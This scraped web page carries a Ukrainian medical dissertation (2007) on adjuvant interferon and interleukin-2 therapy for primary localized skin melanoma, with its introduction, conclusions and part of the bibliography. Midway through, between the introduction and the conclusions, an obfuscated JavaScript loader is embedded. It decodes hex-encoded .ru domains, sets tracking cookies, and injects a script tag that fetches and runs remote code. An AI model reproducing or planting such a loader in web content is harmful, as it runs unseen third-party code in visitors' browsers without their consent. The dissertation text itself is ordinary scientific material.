ПРОФІЛАКТИЧНА ЦИТОКІНОТЕРАПІЯ В ЛІКУВАННІ ХВОРИХ НА ПЕРВИННО-ЛОКАЛІЗОВАНУ МЕЛАНОМУ ШКІРИ : ПРОФИЛАКТИЧЕСКАЯ ЦИТОКИНОТЕРАПИЯ В ЛЕЧЕНИИ БОЛЬНЫХ На первичном-локализованной меланомой кожи

Краткое описание

АКАДЕМІЯ МЕДИЧНИХ НАУК УКРАЇНИ
ІНСТИТУТ ОНКОЛОГІЇ

На правах рукопису

ДОВГОПОЛА ОЛЬГА ОЛЕКСАНДРІВНА

УДК 616.5 — 006.81.04 — 08

ПРОФІЛАКТИЧНА ЦИТОКІНОТЕРАПІЯ В ЛІКУВАННІ ХВОРИХ
НА ПЕРВИННО-ЛОКАЛІЗОВАНУ МЕЛАНОМУ ШКІРИ

14.01.07 — онкологія

Дисертація
на здобуття наукового ступеня кандидата
медичних наук

Науковий керівник
доктор медичних наук
КОРОВІН СЕРГІЙ ІГОРОВИЧ

Київ — 2007

ЗМІСТ

ПЕРЕЛІК УМОВНИХ СКОРОЧЕНЬ ..

3

ВСТУП

4

РОЗДІЛ 1

СУЧАСНИЙ СТАН ПРОБЛЕМИ

ЗЛОЯКІСНОЇ МЕЛАНОМИ ШКІРИ ..

10

1.1. Епідеміологія, етіологія, патогенез ...

10

1.2. Прогноз і класифікація ...

18

1.3. Діагностика та лікування меланоми шкіри ..........

24

РОЗДІЛ 2

МАТЕРІАЛИ ТА МЕТОДИ ДОСЛІДЖЕННЯ ...

36

2.1. Характеристика груп хворих та методики лікування .....

36

2.2. Методика виявлення специфічного антигену

меланоми шкіри людини ..........

44

РОЗДІЛ 3

РЕЗУЛЬТАТИ ВЛАСНИХ ДОСЛІДЖЕНЬ

49

3.1. Результати вивчення наявності у хворих на первинно-локалізовану меланому шкіри пухлиноасоційованого антигену .

49

3.2. Безпосередні результати лікування хворих .....

51

3.3. Віддалені результати лікування

53

РОЗДІЛ 4

АНАЛІЗ ТА УЗАГАЛЬНЕННЯ РЕЗУЛЬТАТІВ ДОСЛІДЖЕННЯ .....

66

ВИСНОВКИ ...

77

СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ .....

79

ПЕРЕЛІК УМОВНИХ СКОРОЧЕНЬ

ААТ

— аутоімунні антитіла

ЕЛІТ

— ендолімфатична інтерферонотерапія

ЕЛХТ

— ендолімфатична хіміотерапія

ІЛ-2

— інтерлейкін-2

кДНК

— кодуюча ДНК

МШ

— меланома шкіри

ПЛМШ

— первинно-локалізована меланома шкіри

рІЛ-2

— рекомбінантний інтерлейкін-2

ВСТУП

Актуальність теми. Пігментні новоутворення шкіри — масштабна проблема сучасної клінічної онкології як у світі, так і в нашій країні. В Австралії та США проблема меланоми шкіри набула пріоритетного значення в онкології.
У 1982 році в Україні було діагностовано 1115 випадків меланоми шкіри, а показник захворюваності становив 2,1 випадка на 100000 населення. У 2006 році ці показники становили відповідно 2511 та 5,3, тобто за минулі 25 років захворюваність на меланому шкіри зросла у 2,5 раза [72]. Щорічний приріст захворюваності на меланому шкіри за період 1997—2006 рр. досяг 7%, і це найвищий рівень приросту захворюваності серед усіх злоякісних пухлин в Україні. За нашими прогнозними підрахунками кількість хворих на меланому шкіри до 2010 року зросте на 15—20%.
З останніх десятиріч ХХ ст. проблема злоякісних пухлин шкіри все частіше стає важливим об’єктом дослідження онкологів. Ініціюються міжнародні симпозіуми та конференції, присвячені винятково цій патології, з’являються фахові наукові видання. В економічно розвинутих країнах світу активно створюються профільні дерматоонкологічні заклади. Таким чином сформувалась ціла галузь клінічної онкології.
Меланома шкіри є онкологічним захворюванням з надзвичайно агресивним перебігом. Ця пухлина характеризується короткими термінами ремісії, здатністю метастазувати практично в усі органи і тканини. Природно, що при такому бурхливому розвитку хвороби віддалені результати лікування вкрай незадовільні [3].
Єдиним радикальним і порівняно ефективним способом лікування меланоми шкіри на сьогодні залишається хірургічний [30]. Локальні рецидиви меланоми шкіри виникають у 1—4% випадків, а головною проблемою лікування меланобластоми є запобігання розвитку метастазів[41]. Висока резистентність клітин меланоми до всіх загальновідомих провідних протипухлинних засобів спонукає онкологів до пошуків нових схем і методів терапії, які давали б можливість досягти стійких і тривалих ремісій захворювання [77].
Актуальність питання профілактики прогресування меланобластоми безсумнівна, але остаточне вирішення проблеми все ще далеке від завершення.
Сподівання, що були пов’язані з ад’ювантною хіміотерапією, не виправдалися. Усі протоколи системного застосування цитостатиків після видалення первинної пухлини не поліпшили, а, за даними багатьох авторів, навіть погіршили віддалені результати. Нішею для застосування цитостатиків при меланомі шкіри залишається генералізована форма, де допоки не існує альтернативи цьому методу [3].
Дослідження, присвячені гормонотерапії меланоми, поки що обмежуються використанням тамоксифену як потенційного агента при деяких схемах хіміотерапії генералізованих форм захворювання [2, 181].
Наявність специфічної антигенної структури клітин меланобластоми дала можливість отримати імунологічні маркери прогресування захворювання і намітити шляхи створення антимеланомної аловакцини. Однак ці дослідження ще дуже далекі від завершення, реальність ефективності такого лікування також сумнівна [50].
Суттєвим досягненням ад’ювантної терапії злоякісної меланоми стало запровадження в схемах лікування інтерферону. Після остаточних висновків, зроблених Kirkwood J.M. et al., 1996 (США) [159], схему застосування інтерферону у високих дозах було включено до стандарту профілактичного лікування у пацієнтів з ІІІ стадією захворювання. Разом з тим, дослідники французької кооперативної групи з лікування меланоми Pehamberg H. зі співавторами сповістили в 1998 році про позитивні результати використання низьких доз інтерферону у хворих з І та ІІ стадіями меланоми шкіри [200].
Проте варто зазначити, що в обох дослідженнях остаточної перемоги над захворюванням досягнуто не було. Є лише обґрунтований статистично доведений ефект. Окрім того, існує проблема токсичності препарату.
У 1976 році Morgan D.A. зі співавторами ідентифікували ендогенний інтерлейкін-2 людини як Т-клітинний ростовий фактор [184]. Уже в 1983 році Taniguchi J. зі співавторами розробили технологію виготовлення генінженерного ІЛ-2 [7]. Перший узагальнений досвід застосування ІЛ-2-терапії довів найвищу його ефективність у хворих з високоімуногенними пухлинами: меланомою і раком нирки [213].
У другій половині 90-х років минулого сторіччя онкологи визначилися щодо високої ефективності комбінації двох цитокінів у хворих з генералізованими формами меланоми — це рекомбінантні a-2b інтерферон та інтерлейкін-2 [209, 52].
У 2001 році американські дослідники повідомили про використання такої комбінації як профілактичного заходу у хворих з III стадією меланобластоми шкіри [241].
Намітився новий перспективний напрямок ад’ювантної біотерапії хворих на меланому шкіри, результати якого потребують подальшого вивчення, адже поки що практичні онкологи не мають чітких схем застосування препаратів: способу введення, термінів використання, курсових і разових доз цитокінів.
Виходячи з цього, є актуальною розробка і впровадження у хворих на первинно-локалізовану меланому шкіри (ПЛМШ) оригінальної методики профілактичної біотерапії з використанням комбінації вітчизняних препаратів — лаферону (рекомбінантний a-2b інтерферон) і ронколейкіну (рекомбінантний інтерлейкін-2).
Зв’язок роботи з науковими програмами, планами, темами. Дисертаційна робота виконувалась у межах планової НДР науково-дослідного відділу пухлин опорно-рухового апарату Інституту онкології АМН України «Розробити лікувальні заходи для розширення показань до органозберігаючих хірургічних втручань і поліпшення віддалених результатів лікування хворих на пухлини опорно-рухового апарату», №державної реєстрації — 0104U003215.
Мета дослідження. Підвищити ефективність лікування хворих на ПЛМШ шляхом застосування ад’ювантної ендолімфатичної біотерапії з використанням рекомбінантних α-2b інтерферону (лаферону) та інтерлейкіну-2 (ронколейкіну).
Задачі дослідження:
1. Провести ретроспективний аналіз ефективності стандартних схем лікування хворих на ПЛМШ (хірургічне, хірургічне з ендолімфатичною інтерферонотерапією).
2. Розробити методику ад’ювантної біотерапії хворих на ПЛМШ із застосуванням комбінації рекомбінантних α-2b інтерферону і інтерлейкіну-2 для післяопераційної ендолімфатичної терапії.
3. Оцінити ефективність лікування хворих за розробленою методикою.
4. Провести порівняльний аналіз результатів лікування хворих дослідницьких і групи контролю та запропонувати оптимізовану схему терапії.
Об’єкт дослідження: первинно-локалізована меланома шкіри в стадії T(2-4)N0M0 (221 пацієнт).
Предмет дослідження: ад’ювантна цитокінотерапія хворих на ПЛМШ, методика ідентифікації пухлиноспецифічних білків.
Методи дослідження: клінічне спостереження — для оцінки перебігу захворювання, ефективності проведеного лікування та вивчення віддалених результатів; морфологічний метод — для верифікації діагнозу, визначення прогностичних характеристик пухлини; метод біохімічної ідентифікації пухлиноспецифічних білків — для виявлення рівня антигенної специфічності пухлини у хворих на меланому шкіри; статистичні методи — для обробки і аналізу даних.
Наукова новизна отриманих результатів.
Вперше при лікуванні хворих на ПЛМШ як ад’ювантний лікувальний засіб застосована післяопераційна ендолімфатична біотерапія звикористанням комбінації рекомбінантних α-2b інтерферону та інтерлейкіну-2 і доведена її ефективність.
Вперше визначена наявність у сироватці крові хворих на ПЛМШ аутоантитіл до Кі-67 та вивчено зв’язок цього феномена з прогностичними критеріями.
Практичне значення отриманих результатів. На підставі результатів власних досліджень запропонована нова оригінальна методика післяопераційної ад’ювантної терапії хворих на первинно-локалізовану меланому шкіри, завдяки якій вдалося підвищити показник загальної трирічної виживаності на 15,6%.
Особистий внесок здобувача. Дисертаційна робота є реалізацією творчих ідей автора за участю наукового колективу відділу пухлин опорно-рухового апарату Інституту онкології АМН України. Автором розроблені основні напрямки та методологія роботи, здійснена її реалізація в експериментальних та клінічних дослідженнях.
Здобувачем особисто проведений патентно-інформаційний аналіз проблеми, аналіз вітчизняної та зарубіжної наукової літератури, сформовані і проаналізовані групи хворих контролю та комбінованого лікування, проведений аналіз первинного матеріалу, його статистична обробка, підготовлено ілюстративний матеріал, узагальнено результати дослідження, сформульовані висновки та практичні рекомендації.
Автор брала безпосередню участь у проведенні лікувальних заходів у тематичних хворих, активну участь у написанні та публікації наукових праць за темою дисертаційної роботи.
Апробація результатів дисертації. Основні положення дисертаційної роботи представлені автором на Всеукраїнській науково-практичній конференції «Вітчизняні протипухлинні препарати: аналіз сьогодення та погляд у майбутнє» (Київ, 2004), засіданні Київського наукового товариства онкологів м. Києва та Київської області (Київ, 2005), ХІ з’їзді онкологів України (Судак, 2006), IV з’їзді онкологів і радіологів СНД (Баку, 2006); підготовлено методичні рекомендації (Київ, 2006).
Публікації. За темою дисертації опубліковано 7 статей у журналах, визначених переліком видань ВАК України, 3 тези, видані методичні рекомендації.
Обсяг та структура дисертації. Дисертаційна робота написана українською мовою і складається з вступу, огляду літератури, двох розділів власних досліджень, висновків, списку використаних літературних джерел. Дисертацію викладено на 103 сторінках машинопису, ілюстровано 14 таблицями та 15 рисунками; вона містить 3 витяги з історій хвороб. Бібліографічний список літератури включає 241 найменування вітчизняних та іноземних авторів.

window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="16197",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("mydisser.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Список литературы

ВИСНОВКИ

У дисертації вперше було досліджено можливість комбінованого ендолімфатичного застосування рекомбінантних a-2b інтерферону та інтерлейкіну-2 в лікуванні меланобластоми та доведена доцільність застосування такої схеми у хворих на первинно-локалізовану меланому шкіри.
Встановлено також факт присутності у сироватці крові хворих на меланому шкіри підвищених титрів антитіл до Кі-67.
1. Застосована схема ад’ювантної інтерферонотерапії на 20,4% забезпечила підвищення показника трирічної безрецидивної виживаності хворих на первинно-локалізовану меланому шкіри.
2. Ад’ювантна післяопераційна терапія з використанням двох цитокінів (a-2b інтерферону та інтерлейкіну-2) на 33,5% підвищила трирічну безрецидивну виживаність хворих на первинно-локалізовану меланому шкіри. Проте вірогідної переваги цього показника порівняно з групою хворих, де проводилася профілактична моноінтерферонотерапія, не було досягнуто.
3. Схема ад’ювантної ендолімфатичної моноінтерферонотерапії, яка була використана в роботі, не привела до підвищення загальної трирічної виживаності хворих на первинно-локалізовану меланому шкіри.
4. Ендолімфатичне застосування комбінації a-2b інтерферону та інтерлейкіну-2 після видалення первинно-локалізованої меланоми шкіри на 15,6% підвищило показник загальної трирічної виживаності.
Показник загальної трирічної виживаності після комбінованого застосування двох цитокінів вірогідно на 18,3% перевищив аналогічний показник ад’ювантної моноінтерферонотерапії.
5. Встановлено, що серед хворих на первинно-локалізовану меланому шкіри 44,4% пацієнтів були антитілопозитивними до маркера Кі-67 на відміну від практично здорових донорів, де не було зафіксовано жодного такого випадку.

6. Серед хворих антитілопозитивних до маркера Кі-67 пацієнтів з високим рівнем проникнення пухлини в дерму (> 4 мм) було більше на 36,6%, ніж у групі хворих, де тест виявився негативним.

СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ
1. Анисимов В.В. Стандартное обследование пациентов с подозрением на меланому. Современная клиническая классификация // Практическая онкология. — 2001. — №4 (8). — С. 12—16.
2. Акимов М.А., Гершанович М.Л. Современное состояние химио- и гормонотерапии диссеминированной злокачественной меланомы кожи //Вопр. онкологии. — 1999. — Т.45, №4. — С. 341—349.
3. Акимов М.А., Гершанович М.Л. Клиническая оценка эффективности современных режимов химиотерапии первой, второй и третьей линии у больных диссеминированной меланомой кожи // Вопр. онкологии. — 2001.— Т.47, №4. — С. 428—435.
4. Балицкий К.П., Шмалько Ю.П. Стресс и метастазирование злокачественных опухолей. — К.: Наук. думка, 1987. — 248 с.
5. Барчук А.С. Хирургическое лечение меланомы // Практическая онкология. — 2001. — №4. — С. 30—36.
6. Бережная Н.М., Юдин В.М., Семенова-Кобзарь Р.А., Кушко Л.Я. Макрофаглимфоцитарные агрегаты и их роль в формировании антигенспецифической супрессии при росте трансплантированных опухолей // Иммунология. — 1986. — №6. — С. 40—42.
7. Бережная Н.М., Горецкий Б.А. Интерлейкин-2 и злокачественные новообразования. — К.: Наук. думка, 1992. — 176 с.
8. Бережная Н.М., Чехун В.Ф. Иммунология злокачественного роста. — К.: Наук. думка, 2005. — 790 с.
9. Березкин Д.П., Айрапетян М.Х., Барсегян В.С. Прогностические факторы, наиболее влияющие на выживаемость // Клиника и лечение меланом кожи: Тез. Всесоюз. симп. — Ленинград, 1990. — С. 7—9.
10. Білинський Б.Т., Володько А.І., Гнатишак А.І. та ін. Онкологія. — Львів: Медицина світу, 1998. — 272 с.
11. Бриндіков Л.М., Дробнер Г.І., Дробнер І.Г., Попович В.В. та ін. Нові підходи до комбінованого лікування меланобластоми шкіри // Х з’їзд онкологів України: Матеріали з’їзду (Крим, 10—12 травня 2001 р.). — К., 2001. — С. 163.
12. Быкорез А.И., Иващенко Ю.Д. Полипептидные факторы роста и канцерогенеза. — К.: Наук. думка, 1990. — 191 с.
13. Вагнер Р.И., Анисимов В.В., Колосов А.Е. Первично-множественные меланобластомы кожи // Вопр. онкологии. — 1980. — Т.26, №11. — С. 79—83.
14. Вагнер Р.И., Анисимов В.В., Блинов Н.Н., Матыцин А.Н. Клиническая диагностика первичных меланом кожи // Актуальные вопросы диагностики и лечения меланом кожи: Сб. науч. тр. — Ленинград, 1987. — С. 27—47.
15. Вагнер Р.И., Анисимов В.В., Барчук А.С. Меланома кожи. — Санкт-Петербург: Наука, 1996. — 280 с.
16. Возианов А.Ф., Бутенко А.К., Зак К.П. Цитокины. Биологические и противоопухолевые свойства. — К.: Наук. думка, 1998. — 317 с.
17. Воробйова Л.І. Шляхи підвищення ефективності лікування злоякісних новоутворень вульви: Автореф. дис.... д-ра мед. наук: 14.00.14. — К., 1993.— 34 с.
18. Галайчук І.Й. Клінічна онкологія. — Тернопіль: Укрмедкнига, 2003.— 275 с.
19. Галайчук І.Й., Гаврилюк І.С. Хіміотерапія меланоми шкіри: теоретичні і практичні аспекти // Вісник наукових досліджень. — 2003. — №3. — С. 5—9.
20. Галахін К.О., Коровін С.І., Мельник М.М., Гордієнко Т.В., Медведєва І.І. Фактори прогнозу первинно-локалізованої меланоми шкіри //Онкологія. — 2003. — Т.5, №3. — С. 208—211.
21. Ганина К.П., Налескина Л.А., Савченко Ю.Ю., Гордиенко В.И. Роль пигментных невусов в развитии злокачественных меланом кожи человека //Генетика аномалий развития: Сб. науч. тр. — К.: Наук. думка, 1986. — С.110—116.
22. Ганина К.П., Налескина Л.А. Злокачественная меланома и предшествующие изменения кожи. — К.: Наук. думка, 1991. — 168 с.
23. Гарин А.М., Хлебников А.В. Справочник практической химиотерапии злокачественных опухолей. — М., 1995. — 309 с.
24. Герасименко О.І., Василенко І.В. Морфологічні аспекти метастатичного процессу при злоякістних пухлинах // Лікарська справа. — 1993. — №5. — С. 31—34.
25. Голубев А.Г., Дильман В.М. Онкофакторы (трансформирующие факторы роста) // Вопр. онкологии. — 1983. — Т.29, №5. — С. 86—89.
26. Давыдов М.И., Нормантович В.А., Кисилевский М.В. и др. Адоптивная иммунотерапия при опухолевых плевритах // Рос. онколог. журн.— 2000. — №6. — С. 4—10.
27. Даниель-Бек К.В., Колобяков А.А. Злокачественные опухоли кожи и мягких тканей. — М.: Медицина, 1979. — 184 с.
28. Дейчман Г.И. Роль естественной резистентности в реакции организма на возникновение, рост и метастазирование опухолей // Итоги науки и техники. Сер. Онкология. — М., 1984. — Т.13. — С. 46—97.
29. Демидов Л.В., Барчук А.С. К вопросу о хирургическом лечении поверхностных форм меланомы кожи // Вопр. онкологии. — 1998. — Т.44, №2. — С. 149—164.
30. Демидов Л.В., Мартынова Е.В. Ретроспективная оценкабезопасного уменьшения границ резекции для меланомы кожи туловища и конечностей ІІ А стадии // Вопр. онкологии. — 2002. — Т.48, №1. — С. 68—73.
31. Демидов Л.В., Мартынова Е.В., Периханян Ф.К. Выбор оптимальных границ резекции при первичной меланоме кожи туловища иконечностей // Вестн. онкол. науч. центра РАМН. — 2003. — №2. — С.82—86.
32. Демьянов В.С. Редкие злокачественные опухоли прямой кишки //Клин. хирургия. — 1981. — №5. — С. 41—43.
33. Иконописов Р.Л. Пигментные опухоли. — София: Медицина и физкультура, 1977. — 267 с.
34. Иконописов Р., Киров С., Тодоров В. Късни лечебни результати (10 години) от профилактична лимфна дисекция при болни от злокачествен меланом // Прол. онкол. — 1984. — №12. — Р. 75—78.
35. Кавкало Н.М., Бутвін Г.К., Молдован В.І., Печенюк В.М. Результати лікування меланоми шкіри з використанням передопераційної близькодистанційної ікс-терапії високими разовими та загальними дозами //Укр. радіол. журн. — 2001. — № 2. — С. 168—169.
36. Киселева Е.Г. Гетерогенность опухоли и механизмы естественной резистентности при метастазировании // Эксперим. онкология. — 1988. — Т.10, №1. — С. 3—8.
37. Клеппер Л.Я. Метод расчета эквивалентной дозы как функции от объема облученной опухолевой ткани // Мед. техника. — 2001. — №4. — С.15—20.
38. Кныш В.И., Нивинская М.М., Паршикова С.М. и др. К вопросу о меланомах аноректальной области // Вестн. АН СССР. — 1974. — №4. — С.54—55.
39. Коровин С.И., Воронцова А.Л., Толстопятов Б.А., Дедков А.Г., Паливец А.Ю. Новые методы лечения злокачественной меланомы кожи //Клінічна хірургія. — 1995. — №5. — С. 23—24.
40. Коровин С.И. Лечение злокачественной меланомы кожи // Врачеб. дело. — 1998. — №5. — С. 41—46.
41. Коровин С.И. Меланома кожи человека: эпидемиология, этиология, патогенез // Врачеб. дело. — 1998. — №2. — С. 46—49.
42. Коровін С.І. Шляхи покращення результатів лікування злоякісної меланоми шкіри кінцівок та тулуба: Автореф. дис д-ра мед. наук: 14.01.07 / Укр. НДІ онкол. та радіол. — К., 1998. — 29 с.
43. Котин Б.П. Мишени действия онкогенов и опухолевых супрессоров: ключ к пониманию базовых механизмов канцерогенеза // Биохимия. — 2000.— Т.65. — С. 5—33.
44. Кудрявцева Г.Т. Лучевая терапия в комплексном лечении злокачественной меланомы кожи // Вестн. рентгенол. и радиологии. — 1996.— №4. — С. 165—166.
45. Кустов В.И. К эпидемиологии злокачественной меланомы // Вопр. онкологии. — 1987. — Т.33, №6. — С. 35—39.
46. Левит М.Л. Комплексное лечение больных меланомой кожи с предоперационным облучением крупными фракциями: Автореф. дис. канд. мед. наук: 14.00.19. — М., 1996. — 25 с.
47. Мельников Р.А., Немсадзе Г.Г. Клинические особенности течения меланобластом прямой кишки // Клиника и лечение меланом кожи: Тез. Всесоюз. симп. — Ленинград, 1990. — С. 45—46.
48. Михнин А.Е., Имянитов Е.И. Генетические нарушения в злокачественных меланомах кожи // Вопр. онкологии. — 2002. — Т.48, №6.— С. 639—643.
49. Могила В.В. Меланомы головного мозга. — Симферополь, 2003. — 156 с.
50. Моисеенко В.М. Возможности вакцинотерапии меланомы кожи //Практическая онкология. — 2001. — №4. — С. 58—64.
51. Моисеенко В.М., Новик Р.В., Орлова Р.В. и др. 1 фаза клинических испытаний высоких доз рекомбинантного интерлейкина-2 (ронколейкина) у больных диссеминированной меланомой кожи // Вопр. онкологии. — 2005.— Т.51, №5. — С. 546—549.
52. Молчанов О.Е., Корелин М.И., Жаринов Г.М. Современные тенденции применения препаратов рекомбинантного интерлейкина-2 в онкологии // Цитокины и воспаление. — 2002. — №3. — С. 38—47.
53. Монахов А.С., Аксенов А.В., Князев П.Г. и др. Цитологическое и генетическое исследование меланом // Вопр. онкологии. — 2002. — Т.48, №2. — С. 179—185.
54. Мороз В.А., Пилипенко М.І. Актуальні питання радіаційного канцерогенезу шкіри. Частина 1: ультрафіолетове випромінення // Укр. радіол. журн. — 1995. — Т.3, вип. 3. — С. 289—294.
55. Налескина Л.А., Коровин С.И., Ганина К.П. Клинико-морфологические проявления регрессии первичного очага злокачественной меланомы кожи // Клин. хирургия. — 1989. — №5. — С. 24—27.
56. Нацвилишвили В.Г., Орджоникидзе Г.К., Надирадзе И.Ш. и др. Результаты лечения меланомы кожи I степени инвазии // Эффективность современных методов лечения злокачественных опухолей. — Тбилиси, 1988.— С. 118—123.
57. Нивинская М.М. Некоторые особенности метастазирования меланобластомы глаза // Вопр. онкологии. — 1965. — Т.11, №10. — С.44—48.
58. Ошибки в клинической онкологии: Руководство для врачей / Под ред. В.И. Чиссова, А.Х. Трахтенберга. — М.: Медицина, 1993. — 544 с.
59. Петров Р.В., Хаитов Р.М., Пинегин Б.В. Иммунодиагностика иммунодефицитов // Иммунология. — 1997. — Т.42, №1. — С. 19—22.
60. Поддубная И.В. Лекарственная терапия злокачественных опухолей (современное состояние и перспективы) // Рос. мед. журн. — 1998. — Т.6, №10. — С. 621—627.
61. Противоопухолевая химиотерапия: Справочник / Под ред. Н.И.Переводчиковой. — М., 1996. — 224 с.
62. Слесарева Р.С., Грицман Ю.Я. Внекожные злокачественные меланомы // Хирургия. — 1983. — №11. — С. 22.
63. Соколов О.Д., Бондар С.В., Деревянко В.А. Деякі помилки під час діагностики та лікування меланоми шкіри // Х з’їзд онкологів України: Матеріали з’їзду (Крим, 10—12 травня 2001 р.). — К., 2001. — С. 168.
64. Справочник по онкологии / Под ред. Н.Н. Трапезникова, И.В.Поддубной. — М.: КАППА, 1996. — 620 с.
65. Титнер Г.Б., Серебрякова Е.С. О лимфогенном метастазировании меланомы кожи // Вопросы клинической онкологии: Материалы ІІІ науч.-практ. конф. Московской обл. клин. больницы. — М., 1972. — С. 74—77.
66. Толстопятов Б.А., Кныш И.Т. Опухоли кожи, мягких тканей и костей // Справочник по онкологии. — К.: Здоров’я, 2000. — С. 193—196.
67. Трапезников Н.Н., Хасанов Ш.Р. Влияние клинических признаков заболевания на прогноз при меланоме кожи в I клинической стадии //Хирургия. — 1987. — №4. — С. 104—108.
68. Хазов П.Д. Рентгенологическое исследование меланомы кожи //Клиника и лечение меланом кожи: Тр. Всесоюз. симп. — Саратов, 1990. — С.77—78.
69. Харкевич Г.Ю., Демидов Л.В., Алиев М.Д. и др. Адъювантная терапия меланомы кожи неблагоприятного прогноза: что предпочесть (химиотерапия? интерфероны?) // 8 Рос. онкологический конгресс: Материалы конгресса (Москва, 23—25 ноября 2004 г.). — М., 2004. — С.54—57.
70. Хасанов Ш.Р. Первичная меланома кожи // Хирургия. — 1987. — №4. — С. 108—112.
71. Химиотерапия опухолевых заболеваний: Краткое руководство / Под ред. Н.И. Переводчиковой. — М., 2000. — 392 с.
72. Шалімов С.О., Федоренко З.П., Гулак Л.О., Горох Є.Л. та ін. Рак в Україні, 2004—2005. Захворюваність, смертність, показники діяльності онкологічної служби // Бюлетень Національного канцер-реєстру. — №7. — К., 2007.— 96 с.
73. Шевченко И.Т., Даштаянц Г.А. Метастатические опухоли костей. — К.: Здоров’я, 1967. — 202 с.
74. Albino A.P., Reed J.A., McNutt N.S. Molecular biology of cutaneous malignant melanoma // Cancer: Principles and Practice of Oncology. — Philad.: Lippincott-Raven, 1997. — P. 1936—1946.
75. Apro M.S. Advances in systemic treatment of malignant melanoma //Europ. J. Cancer. — 1993. — Vol.29A. — P. 204—211.
76. Atkins M.B. The treatment of metastatic melanoma with chemotherapy and biologics // Curr. Opin. Oncol. — 1997. — Vol.9. — P. 400—414.
77. Bafakoukos D., Gogas H., Georgoulias V. Temozolomide in Combination With Docetaxel in Patients With Advanced Melanoma: A Phase II Study of the Hellenic Cooperative Oncology Group // J. Clin. Oncol. — 2002. — Vol.20. — P. 420—425.
78. Balch C.M. Cutaneous melanoma: prognosis and treatment results wordwide // Semin. Surg. Oncol. — 1992. — Vol.8. — P. 400—414.
79. Balch C.M., Maddox W.A. The logic of adjunctive therapy in surgicalpatients with respectable cancer // South. Med. J. — 1978. — Vol.71. — P. 951—957.
80. Balch C.M., Reintgen D.S., Kirkwood J.M. et al. Cutaneus Melanoma / de Vita V.T.Jr., Hellman S., Rosenberg S.A. (eds) Principles & Practice of Oncology. 5 Edition. — Philadelphia New York: Lippincott-Raven, 1997. — P.1947—1994.
81. Balch C.M., Smalley R.V., Bartolucci A.A. et al. A randomized prospective trial of adjuvant C. Parvum immunotherapy in 260 patients with clinically localized melanoma (stage 1): prognostic factors analysis andpreliminary results of immunotherapy // Cancer. — 1982. — Vol.49. — P.1079—1084.
82. Balch C.M., Soong S.J., Murad T.M. et al. A multifactorial analysis of melanoma: III Prognostic factors in melanoma patients with lymph node metastases (stage II) // Ann. Surg. — 1981. — Vol.193. — P. 377—388.
83. Balch A., Wanek L.A., Morton D.L. Prognostic factors in 1521 melanoma patients with distant metastases // J. Amer. Coll. Surg. — 1995. — Vol.181. — P. 193—201.
84. Balin A.K., Kligman A.M. Aging and the skin. — New York: Mosby Pbl, 1990. — 160 p.
85. Ballo M.T., Ang K.K. Radiotherapy for cutaneous malignant melanoma: rationale and indications // Oncology (Huntingt). — 2004. — Vol.18, №1. — Р.99—107.
86. Barnhill R.L., Hurwitz S., Duray P.H., Arons M.S. // Plast. Rec. Surg. — 1988. — Vol.81. — №2. — P. 280—289.
87. Bauer J., Metzler G., Forschner A. et al. Dermatoskopy can help the histopathologist to detect the suspicious in melanocytic lesions // Cancers skin: Abstr. World Congr. 8. — Zurich (Switzerland). — 2001. — P. 36.
88. Bell M., Beyl C., Schopf R.E., Schramm P. // Dermatology. — 1992. — Vol.185. — №4. — P. 257—261.
89. Bentzen S.M., Overgaard J., Thames H.D. Clinical radiobiology of malignant melanoma // Radiother Oncol. — 1989. — Vol.16. — P. 169—175.
90. Bezrodnikh A.A., Ivanov P.M., Tikhonov D.G. The findings of the disease incidence with the malignant melanoma among the ethnically different groups of the population of the extreme north of the USSR (examplified byYakutia // Second international conference on melanoma. — Venice, 1989. — P. 27.
91. Breslow A. Thickness, cross-sectional areas and depth of invasion in theprognosis of cutaneous melanoma // Ann. Surg. — 1970. — Vol.172. — P.902—908.
92. Breslow A., Macht S.D. Optimal size of resection margin for thincutaneous melanoma // Surg. Gynecol. Obstet. — 1977. — Vol.145. — P.691—692.
93. Breslow A. Prognostic factors in the treatment of cutaneous melanoma //J. Cutan. Pathol. — 1979. — Vol.6. — P. 208—212.
94. Buzaid A.C., Ross M.I., Balch C.M. et al. Critical analysis of the current American Joint Committee on Cancer staging system for cutaneous melanoma and proposal of a new staging system // J. Clin. Oncol. — 1997. — Vol.15. — P.1039—1051.
